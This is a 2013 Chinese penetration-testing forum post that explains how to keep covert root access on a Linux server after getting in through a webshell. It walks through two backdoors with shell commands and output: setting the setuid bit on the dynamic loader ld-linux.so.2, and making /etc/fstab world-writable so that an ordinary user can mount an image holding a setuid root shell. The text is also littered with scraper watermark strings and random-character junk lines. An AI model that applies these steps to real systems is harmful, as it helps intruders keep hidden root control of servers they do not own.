中国网络渗透测试联盟
标题:
webshell下LINUX提权+留后门
[打印本页]
作者:
admin
时间:
2013-3-8 21:56
标题:
webshell下LINUX提权+留后门
方法一:setuid的方法,其实8是很隐蔽。看看过程:2ezX-BUG-关注前沿信息安全技术研究
3 F$ V! n4 K4 C" z
3 A$ a; g# S9 i1 H; `9 L3 E! o
[root@localdomain lib]# ls -l |grep ld-linux2ezX-BUG-关注前沿信息安全技术研究
3 |2 z: t% y- R3 N4 \
lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
4 d$ ^, {% F! e9 L4 \. ^
lrwxrwxrwx 1 root root 13 2008-06-07 17:47 ld-lsb.so.3 -> ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究
) Q4 m# j" ]% e/ n
[root@localdomain lib]# chmod +s ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究
A4 A8 z3 P2 y6 m6 h
[root@localdomain lib]# ls -l |grep ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
3 ~& w- W r4 [8 z2 p; s
-rwsr-sr-x 1 root root 128952 2007-10-18 04:49 ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
& S3 E0 H8 e0 @8 K6 g# M
lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
/ N, ~2 r, Y) J& \+ p8 c
[root@localdomain lib]#2ezX-BUG-关注前沿信息安全技术研究
: e! h2 _7 l M' k* l4 E) m) R8 L
我们这里给/lib/ld-linux.so.2这个文件(在FC8里,它指向ld-2.7.so这个文件)加了setuid属性。然后我们看怎么利用它。2ezX-BUG-关注前沿信息安全技术研究
8 B" _: _5 `5 e6 s A
9 ~0 S. l. r+ Y: f1 {# T# v* q
普通用户登录,测试下权限:2ezX-BUG-关注前沿信息安全技术研究
. R l% ?# A7 U4 }. ?% q# ]
# B0 y3 ]7 _$ _! k1 ^: D- x: F
[xiaoyu@localdomain ~]$ whoami2ezX-BUG-关注前沿信息安全技术研究
& N, h, d' Y4 n. s& l% j
xiaoyu2ezX-BUG-关注前沿信息安全技术研究
7 M0 x) s: ^& T4 y
[xiaoyu@localdomain ~]$ /lib/ld-linux.so.2 `which whoami`2ezX-BUG-关注前沿信息安全技术研究
8 _$ U& @) Y. h# F5 e& ^! ]) O E
root2ezX-BUG-关注前沿信息安全技术研究
% ?" R" R; z9 _( d- Q
[xiaoyu@localdomain ~]$2ezX-BUG-关注前沿信息安全技术研究
( s. j; ~' T) a$ R1 l e
恩,嘿嘿 root了吧,具体怎么生成root shell,你们自己去想吧,凡事都不要点得太透,对吧。呵呵,可以肯定的一点,/lib/ld-linux.so.2 /bin/sh肯定生成不了rootshell, bash检查euid 和uid,看是否相等...OK,不多说了。2ezX-BUG-关注前沿信息安全技术研究
1 t9 |! z5 x0 w+ f$ C4 W
0 P3 b% U" b8 t7 \( f# Y
方法二:2ezX-BUG-关注前沿信息安全技术研究
+ H$ J8 b- _1 ^$ W
+ J3 d! a G( ^! ^- v2 s
看过程:2ezX-BUG-关注前沿信息安全技术研究
* M$ U' @4 @# k$ ]9 J% T0 q
; w1 P6 i" c& a1 b8 P
[root@localdomain etc]# chmod a+w /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
' \/ s2 r& y( Y1 O. A7 a
[root@localdomain etc]#2ezX-BUG-关注前沿信息安全技术研究
/ v% m& r N$ N% b
) J$ m1 e# }# ^% V" ~
这就留好了。此方法比较XXOXX,估计没几个管理员知道。利用方法演示下2ezX-BUG-关注前沿信息安全技术研究
b' r) Q0 f( \4 Y* V% l8 I
+ I1 w. X3 |/ U
[xiaoyu@localdomain ~]$ ls -l /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
# L$ Q ?% r& \- D2 N
-rw-rw-rw- 1 root root 456 2008-06-07 17:28 /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
6 {. _# s- B. h# c- o4 \! c
[xiaoyu@localdomain ~]$ echo 'test /mnt ext2 user,suid,exec,loop 0 0' >> /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
: s( p! _- T3 s
) ~5 b+ N: b- x7 ]0 x& G9 S7 q5 a2 S
然后从本机把一个文件到目标机器上去,这里我们命名为test2ezX-BUG-关注前沿信息安全技术研究
. H! w( w% G0 A) R& |1 [& f
9 w; t+ ^9 V, E' R* N, q+ P9 e- i/ C
[xiaoyu@localdomain tmp]$ ls -l test2ezX-BUG-关注前沿信息安全技术研究
( @; Y! m! N) I P4 ^6 }
-rw-rw-r-- 1 xiaoyu xiaoyu 102400 2008-04-20 02:51 test2ezX-BUG-关注前沿信息安全技术研究
$ Q" F8 c# d0 p# Z
[xiaoyu@localdomain tmp]$ mount test2ezX-BUG-关注前沿信息安全技术研究
- o5 e$ O- \! A- H; b# V4 x
[xiaoyu@localdomain tmp]$ cd /mnt2ezX-BUG-关注前沿信息安全技术研究
/ ]8 w; c8 S+ B+ ?
[xiaoyu@localdomain mnt]$ ls -l2ezX-BUG-关注前沿信息安全技术研究
% D+ @) [# \7 `6 }3 x7 y
total 182ezX-BUG-关注前沿信息安全技术研究
# {: o; z2 B+ r) P
drwx------ 2 root root 12288 2008-04-20 05:44 lost+found2ezX-BUG-关注前沿信息安全技术研究
. H% B5 K4 w8 l
-rwsr-sr-x 1 root root 4927 2008-04-20 05:44 root2ezX-BUG-关注前沿信息安全技术研究
. k$ e5 Q) T- K% Z% p. `
[xiaoyu@localdomain mnt]$ ./root2ezX-BUG-关注前沿信息安全技术研究
) O$ ~4 U, w7 r. Z. ` o7 z
sh-3.2#2ezX-BUG-关注前沿信息安全技术研究
) W; C; D w! _/ Q3 {
看到了吧,从普通用户提升到root了。呵呵。2ezX-BUG-关注前沿信息安全技术研究
3 y0 h% {" d5 I' R) W* ^
test这个文件baidu貌似木有上传功能撒,木办法传2ezX-BUG-关注前沿信息安全技术研究
$ S. ]6 {8 y- J1 d
- \# B) j; q" j9 T4 l) Z
貌似可能有人说本地后门木啥鸟用,但是你要搞清楚:一个webshell里面就可以完成这一切....2ezX-BUG-关注前沿信息安全技术研究
) K, u* U0 K" Z- M$ A$ `& b% F4 z# i
2ezX-BUG-关注前沿信息安全技术研究
( J3 ^2 n: R3 A- w' `" K
: v3 b2 U/ p) o( m; E
作者:
wuyu
时间:
2013-3-13 15:10
谢谢分享
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2